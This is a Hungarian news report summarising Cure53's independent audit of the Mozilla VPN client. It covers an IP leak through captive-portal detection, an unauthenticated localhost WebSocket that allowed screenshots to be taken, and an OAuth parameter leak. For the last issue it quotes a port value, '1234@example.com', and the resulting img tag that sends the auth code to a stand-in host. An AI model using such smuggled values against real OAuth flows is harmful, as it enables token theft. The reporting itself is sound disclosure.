A Mozilla bejelentette, hogy befejezte a Mozilla VPN szolgáltatáshoz kapcsolódó kliens szoftver független auditját. Az audit során elemzésre került a Qt könyvtár felhasználásával írt, Linux, macOS, Windows, Android és iOS rendszerekre elérhető elkülönített kliensalkalmazás. A Mozilla VPN a Mullvad svéd VPN szolgáltató több mint 400 szerverén keresztül működik, amelyek több mint 30 országban találhatók. Kapcsolódás a VPN-szolgáltatáshoz a WireGuard protokoll segítségével történik.
Az auditot a Cure53 végezte, amely korábban az NTPsec, a SecureDrop, a Cryptocat, az F-Droid és a Dovecot projektjeit is auditálta. Az audit az forráskód ellenőrzésére terjedt ki, és tesztelési folyamatokat is magában foglalt, amelyek célja a lehetséges sebezhetőségek feltárása volt (a kriptográfiával kapcsolatos kérdések nem kerültek megvitatásra). Az ellenőrzés során 16 biztonsági problémát találtak, amelyek közül 8 ajánlás jellegű, 5 alacsony, 2 közepes, és 1 magas veszélyességi szintet kapott.
Ebből csupán egy közepes szintű veszélyességgel bíró probléma lett sebezhetőségként katalógizálva, mivel csak ez volt kihasználható. A megadott problémát a VPN használatának kiszivárgásához vezette, és a captive portal meghatározására szolgáló kód miatt, amely titkosítatlan közvetlen HTTP kérések küldését eredményezte a VPN alagutakon kívül, leleplezve a felhasználó alap IP-címét, ha a támadó képes kontrollálni a tranzitforgalmat. A probléma megoldható a captive portal meghatározási mód kikapcsolásával a beállításokban.
A közepes szintű veszélyeztetettség második problémája a portszám nem numerikus értékeinek megfelelő tisztításának hiányával függ össze, ami lehetővé teszi az OAuth hitelesítési paraméterek szivárgását, ha a portszámot egy «1234@example.com» jellegű karakterláncra cseréljük, ami egy címke felállításához vezet <img src="»http://127.0.0.1:1234@example.com/?code=…«" alt="»»">, amely a example.com-hoz irányít a 127.0.0.1 helyett.
A harmadik, veszélyesnek minősített probléma lehetővé teszi bármely helyi alkalmazás számára, hogy hitelesítés nélkül hozzáférjen a VPN klienshez a localhost-ra kötött WebSocket-en keresztül. Például bemutatásra került, hogy aktív VPN kliens esetén bármely weboldal képes volt képernyőkép létrehozására és küldésére a screen_capture esemény generálásával. A probléma nem került sebezhetőségként katalógizálásra, mivel a WebSocket csak belső tesztelési változatokban volt használva, és a kommunikációs csatorna alkalmazása a jövőben tervezett browser kiegészítő interakciójára szolgált.
Forrás: opennet.ru
